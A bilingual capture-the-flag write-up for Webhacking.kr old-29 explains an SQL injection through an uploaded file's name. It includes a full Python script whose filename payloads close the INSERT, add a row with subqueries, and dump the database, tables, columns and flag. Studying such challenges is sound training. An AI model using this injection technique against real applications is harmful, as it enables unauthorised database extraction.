Webhacking.kr old-29

Challenge

Extract the flag from another table through the uploaded filename.

利用上传文件名从另一张表提取 flag。

1
https://webhacking.kr/challenge/web-14/

Analysis

上传请求的 multipart filename 被直接写入 SQL。页面显示字段顺序是 time | ip | file,但 INSERT 的值顺序是 file, time, ip。文件名中的单引号可以结束第一个 file 值,然后追加第二行 INSERT,把子查询结果写进列表可见的文件名列;末尾的 # 注释掉原查询余下部分。列表只显示当前客户端 IP 的记录,因此三处 IP 值必须与当前页面显示的地址一致。

Solution

下面的完整脚本用同一个 multipart 请求发送每个 filename payload。CLIENT_IP 必须替换为题目页面显示的当前客户端地址;它是请求环境值,不是 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import requests

BASE_URL = "http://webhacking.kr:10004/"
CLIENT_IP = "<client-ip>"

def filename_for(expression: str) -> str:
return (
"abc',123,'{ip}'),"
"((SELECT {expression}),123,'{ip}')#"
).format(ip=CLIENT_IP, expression=expression)

def upload_and_print(session: requests.Session, expression: str) -> None:
filename = filename_for(expression)
response = session.post(
BASE_URL,
files={
"upfile": (filename, b"", "application/octet-stream"),
},
timeout=20,
)
response.raise_for_status()
print(response.text)

def main() -> None:
session = requests.Session()
upload_and_print(session, "DATABASE()")
upload_and_print(
session,
"GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES "
"WHERE TABLE_SCHEMA='chall29'",
)
upload_and_print(
session,
"GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS "
"WHERE TABLE_NAME='flag_congratz'",
)
upload_and_print(session, "flag FROM flag_congratz")

if __name__ == "__main__":
main()

查询顺序是数据库名、表名、列名、flag。读取 flag 后填入认证表单。

CLIENT_IP 和题目端口的记录筛选都与当前请求环境绑定;先读取页面显示的地址再运行,否则插入的记录可能不会回显。